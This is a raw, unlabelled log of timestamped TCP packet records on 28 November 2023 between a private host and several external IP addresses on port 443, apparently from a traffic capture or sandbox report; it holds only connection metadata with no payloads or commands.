Nov 28, 2023 16:55:24.518605947 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.518714905 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.518769979 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.518773079 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.518791914 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.518846035 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.518851042 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.558653116 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.558737993 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.558758020 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.558768988 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.558839083 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.558842897 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.558851004 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.558890104 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.558892965 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.558928013 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.558971882 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.560640097 CET	49711	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:24.560648918 CET	443	49711	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:24.705615997 CET	49714	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:24.705693007 CET	443	49714	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:24.705765963 CET	49714	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:24.706026077 CET	49715	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:24.706113100 CET	443	49715	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:24.706191063 CET	49715	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:24.706365108 CET	49714	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:24.706396103 CET	443	49714	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:24.706594944 CET	49715	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:24.706623077 CET	443	49715	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:24.708121061 CET	49716	443	192.168.2.5	151.101.66.137
Nov 28, 2023 16:55:24.708148956 CET	443	49716	151.101.66.137	192.168.2.5
Nov 28, 2023 16:55:24.708208084 CET	49716	443	192.168.2.5	151.101.66.137
Nov 28, 2023 16:55:24.708623886 CET	49716	443	192.168.2.5	151.101.66.137
Nov 28, 2023 16:55:24.708650112 CET	443	49716	151.101.66.137	192.168.2.5
Nov 28, 2023 16:55:24.931859970 CET	443	49716	151.101.66.137	192.168.2.5
Nov 28, 2023 16:55:24.932272911 CET	49716	443	192.168.2.5	151.101.66.137
Nov 28, 2023 16:55:24.932295084 CET	443	49716	151.101.66.137	192.168.2.5
Nov 28, 2023 16:55:24.933347940 CET	443	49716	151.101.66.137	192.168.2.5
Nov 28, 2023 16:55:24.933545113 CET	49716	443	192.168.2.5	151.101.66.137
Nov 28, 2023 16:55:24.935782909 CET	49716	443	192.168.2.5	151.101.66.137
Nov 28, 2023 16:55:24.935858011 CET	443	49716	151.101.66.137	192.168.2.5
Nov 28, 2023 16:55:24.935995102 CET	49716	443	192.168.2.5	151.101.66.137
Nov 28, 2023 16:55:24.936022043 CET	443	49716	151.101.66.137	192.168.2.5
Nov 28, 2023 16:55:24.968444109 CET	443	49714	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:24.983997107 CET	49716	443	192.168.2.5	151.101.66.137
Nov 28, 2023 16:55:24.986361980 CET	443	49715	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:24.989464998 CET	49714	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:24.989491940 CET	443	49714	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:24.989581108 CET	49715	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:24.989592075 CET	443	49715	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:24.990396976 CET	443	49714	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:24.990437031 CET	443	49715	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:24.990456104 CET	49714	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:24.990506887 CET	49715	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:24.993846893 CET	49715	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:24.993894100 CET	443	49715	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:24.997258902 CET	49714	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:24.997328043 CET	443	49714	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:24.997627020 CET	49715	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:24.997637033 CET	443	49715	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:24.997669935 CET	49714	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:24.997684956 CET	443	49714	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.046518087 CET	49714	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.046525955 CET	49715	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.120651007 CET	443	49716	151.101.66.137	192.168.2.5
Nov 28, 2023 16:55:25.120903015 CET	443	49716	151.101.66.137	192.168.2.5
Nov 28, 2023 16:55:25.120991945 CET	49716	443	192.168.2.5	151.101.66.137
Nov 28, 2023 16:55:25.120995045 CET	443	49716	151.101.66.137	192.168.2.5
Nov 28, 2023 16:55:25.121026993 CET	443	49716	151.101.66.137	192.168.2.5
Nov 28, 2023 16:55:25.121084929 CET	49716	443	192.168.2.5	151.101.66.137
Nov 28, 2023 16:55:25.121115923 CET	443	49716	151.101.66.137	192.168.2.5
Nov 28, 2023 16:55:25.123450994 CET	443	49716	151.101.66.137	192.168.2.5
Nov 28, 2023 16:55:25.123526096 CET	49716	443	192.168.2.5	151.101.66.137
Nov 28, 2023 16:55:25.123533010 CET	443	49716	151.101.66.137	192.168.2.5
Nov 28, 2023 16:55:25.126687050 CET	443	49716	151.101.66.137	192.168.2.5
Nov 28, 2023 16:55:25.126760960 CET	49716	443	192.168.2.5	151.101.66.137
Nov 28, 2023 16:55:25.126766920 CET	443	49716	151.101.66.137	192.168.2.5
Nov 28, 2023 16:55:25.129878998 CET	443	49716	151.101.66.137	192.168.2.5
Nov 28, 2023 16:55:25.129951000 CET	49716	443	192.168.2.5	151.101.66.137
Nov 28, 2023 16:55:25.129955053 CET	443	49716	151.101.66.137	192.168.2.5
Nov 28, 2023 16:55:25.133125067 CET	443	49716	151.101.66.137	192.168.2.5
Nov 28, 2023 16:55:25.133207083 CET	49716	443	192.168.2.5	151.101.66.137
Nov 28, 2023 16:55:25.133212090 CET	443	49716	151.101.66.137	192.168.2.5
Nov 28, 2023 16:55:25.152431011 CET	443	49716	151.101.66.137	192.168.2.5
Nov 28, 2023 16:55:25.152478933 CET	443	49716	151.101.66.137	192.168.2.5
Nov 28, 2023 16:55:25.152498960 CET	443	49716	151.101.66.137	192.168.2.5
Nov 28, 2023 16:55:25.152527094 CET	49716	443	192.168.2.5	151.101.66.137
Nov 28, 2023 16:55:25.152532101 CET	443	49716	151.101.66.137	192.168.2.5
Nov 28, 2023 16:55:25.152568102 CET	49716	443	192.168.2.5	151.101.66.137
Nov 28, 2023 16:55:25.152596951 CET	49716	443	192.168.2.5	151.101.66.137
Nov 28, 2023 16:55:25.224456072 CET	443	49716	151.101.66.137	192.168.2.5
Nov 28, 2023 16:55:25.224524021 CET	443	49716	151.101.66.137	192.168.2.5
Nov 28, 2023 16:55:25.224591017 CET	49716	443	192.168.2.5	151.101.66.137
Nov 28, 2023 16:55:25.224603891 CET	443	49716	151.101.66.137	192.168.2.5
Nov 28, 2023 16:55:25.224616051 CET	49716	443	192.168.2.5	151.101.66.137
Nov 28, 2023 16:55:25.224648952 CET	49716	443	192.168.2.5	151.101.66.137
Nov 28, 2023 16:55:25.240782976 CET	443	49716	151.101.66.137	192.168.2.5
Nov 28, 2023 16:55:25.240845919 CET	443	49716	151.101.66.137	192.168.2.5
Nov 28, 2023 16:55:25.240885019 CET	49716	443	192.168.2.5	151.101.66.137
Nov 28, 2023 16:55:25.240890026 CET	443	49716	151.101.66.137	192.168.2.5
Nov 28, 2023 16:55:25.240945101 CET	49716	443	192.168.2.5	151.101.66.137
Nov 28, 2023 16:55:25.252965927 CET	443	49716	151.101.66.137	192.168.2.5
Nov 28, 2023 16:55:25.253015041 CET	443	49716	151.101.66.137	192.168.2.5
Nov 28, 2023 16:55:25.253062963 CET	49716	443	192.168.2.5	151.101.66.137
Nov 28, 2023 16:55:25.253091097 CET	443	49716	151.101.66.137	192.168.2.5
Nov 28, 2023 16:55:25.253107071 CET	49716	443	192.168.2.5	151.101.66.137
Nov 28, 2023 16:55:25.253138065 CET	49716	443	192.168.2.5	151.101.66.137
Nov 28, 2023 16:55:25.256378889 CET	443	49716	151.101.66.137	192.168.2.5
Nov 28, 2023 16:55:25.256478071 CET	49716	443	192.168.2.5	151.101.66.137
Nov 28, 2023 16:55:25.256484985 CET	443	49716	151.101.66.137	192.168.2.5
Nov 28, 2023 16:55:25.256547928 CET	443	49716	151.101.66.137	192.168.2.5
Nov 28, 2023 16:55:25.256611109 CET	49716	443	192.168.2.5	151.101.66.137
Nov 28, 2023 16:55:25.256707907 CET	49716	443	192.168.2.5	151.101.66.137
Nov 28, 2023 16:55:25.256726980 CET	443	49716	151.101.66.137	192.168.2.5
Nov 28, 2023 16:55:25.256742001 CET	49716	443	192.168.2.5	151.101.66.137
Nov 28, 2023 16:55:25.256778955 CET	49716	443	192.168.2.5	151.101.66.137
Nov 28, 2023 16:55:25.264014006 CET	443	49714	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.264067888 CET	443	49714	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.264101982 CET	443	49714	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.264126062 CET	49714	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.264130116 CET	443	49714	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.264153004 CET	443	49714	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.264179945 CET	49714	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.264269114 CET	443	49714	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.264317989 CET	49714	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.264324903 CET	443	49714	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.264836073 CET	443	49714	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.264868975 CET	443	49714	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.264887094 CET	49714	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.264894009 CET	443	49714	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.264931917 CET	49714	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.265531063 CET	443	49714	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.265595913 CET	443	49714	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.265649080 CET	49714	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.265656948 CET	443	49714	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.266482115 CET	443	49714	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.266522884 CET	443	49714	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.266541004 CET	49714	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.266555071 CET	443	49714	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.266607046 CET	49714	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.266619921 CET	443	49714	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.267426968 CET	443	49714	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.267467022 CET	443	49714	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.267496109 CET	49714	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.267508984 CET	443	49714	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.267560959 CET	49714	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.268362999 CET	443	49714	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.268438101 CET	443	49714	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.268471003 CET	443	49714	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.268492937 CET	49714	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.268506050 CET	443	49714	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.268556118 CET	49714	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.269294024 CET	443	49714	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.269355059 CET	443	49714	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.269387007 CET	443	49714	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.269409895 CET	49714	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.269423962 CET	443	49714	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.269484043 CET	49714	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.270081997 CET	443	49714	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.270164013 CET	443	49714	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.270196915 CET	443	49714	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.270217896 CET	49714	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.270231009 CET	443	49714	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.270281076 CET	49714	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.271039009 CET	443	49714	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.271099091 CET	443	49714	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.271157026 CET	49714	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.271168947 CET	443	49714	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.271960020 CET	443	49714	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.272027969 CET	49714	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.272042036 CET	443	49714	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.272061110 CET	443	49714	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.272123098 CET	49714	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.287146091 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:25.287235975 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:25.287349939 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:25.287955999 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:25.287990093 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:25.290718079 CET	443	49715	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.290759087 CET	443	49715	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.290802002 CET	443	49715	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.290828943 CET	49715	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.290842056 CET	443	49715	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.290880919 CET	49715	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.290968895 CET	443	49715	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.291043997 CET	49715	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.291058064 CET	443	49715	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.292551994 CET	49714	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.292581081 CET	443	49714	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.292896986 CET	443	49715	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.292957067 CET	49715	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.292967081 CET	443	49715	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.295038939 CET	443	49715	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.295115948 CET	49715	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.295124054 CET	443	49715	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.299287081 CET	443	49715	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.299366951 CET	49715	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.299377918 CET	443	49715	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.301610947 CET	443	49715	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.301722050 CET	49715	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.301754951 CET	443	49715	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.303664923 CET	443	49715	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.303733110 CET	49715	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.303746939 CET	443	49715	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.305847883 CET	443	49715	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.305918932 CET	49715	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.305931091 CET	443	49715	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.307915926 CET	443	49715	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.308034897 CET	49715	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.308044910 CET	443	49715	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.310162067 CET	443	49715	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.310229063 CET	49715	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.310240030 CET	443	49715	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.313085079 CET	443	49715	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.313169003 CET	49715	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.313179970 CET	443	49715	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.313379049 CET	443	49715	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.313440084 CET	49715	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.322185040 CET	49715	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.322210073 CET	443	49715	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.365989923 CET	49718	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.366027117 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.366116047 CET	49718	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.366775036 CET	49718	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.366791010 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.605418921 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:25.608299971 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:25.608328104 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:25.609333038 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:25.609432936 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:25.610330105 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:25.610393047 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:25.610575914 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:25.610583067 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:25.627547979 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.627923965 CET	49718	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.627947092 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.628823996 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.628890991 CET	49718	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.629371881 CET	49718	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.629422903 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.629688025 CET	49718	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.629695892 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.650837898 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:25.679244995 CET	49718	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.935419083 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.935585022 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.935657978 CET	49718	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.935673952 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.935761929 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.935820103 CET	49718	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.935827017 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.935911894 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.935969114 CET	49718	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.935975075 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.936084032 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.936137915 CET	49718	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.936144114 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.936230898 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.936286926 CET	49718	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.936292887 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.936399937 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.936453104 CET	49718	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.936465025 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.937026978 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.937093019 CET	49718	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.937098980 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.937181950 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.937242985 CET	49718	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.937248945 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.937803030 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.937866926 CET	49718	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.937872887 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.937956095 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.938013077 CET	49718	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.938019037 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.938776970 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.938842058 CET	49718	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.938848019 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.938941002 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.938994884 CET	49718	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.939001083 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.939097881 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.939151049 CET	49718	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.939158916 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.939650059 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.939711094 CET	49718	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.939718008 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.939815044 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.939866066 CET	49718	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.939872026 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.940479994 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.940531969 CET	49718	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.940540075 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.940623999 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.940680027 CET	49718	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.940686941 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.941448927 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.941512108 CET	49718	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.941518068 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.941625118 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.941679001 CET	49718	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.941684961 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.941782951 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.941837072 CET	49718	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.941843033 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.942337990 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.942409039 CET	49718	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:25.942414999 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:25.994116068 CET	49718	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:26.062145948 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:26.062160969 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:26.062231064 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:26.062238932 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:26.062355042 CET	49718	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:26.062355042 CET	49718	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:26.062388897 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:26.062968016 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:26.063045025 CET	49718	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:26.063055038 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:26.063108921 CET	49718	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:26.063477039 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:26.063536882 CET	49718	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:26.063543081 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:26.063555956 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:26.063589096 CET	49718	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:26.063621044 CET	49718	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:26.064244032 CET	49718	443	192.168.2.5	104.17.24.14
Nov 28, 2023 16:55:26.064259052 CET	443	49718	104.17.24.14	192.168.2.5
Nov 28, 2023 16:55:26.214060068 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.214082003 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.214087963 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.214169025 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.214200020 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.268755913 CET	49717	443	192.168.2.5	172.245.92.82
Nov 28, 2023 16:55:26.369760990 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.369774103 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.369827032 CET	443	49717	172.245.92.82	192.168.2.5
Nov 28, 2023 16:55:26.369878054 CET	49717	443	192.168.2.5	172.245.92.82
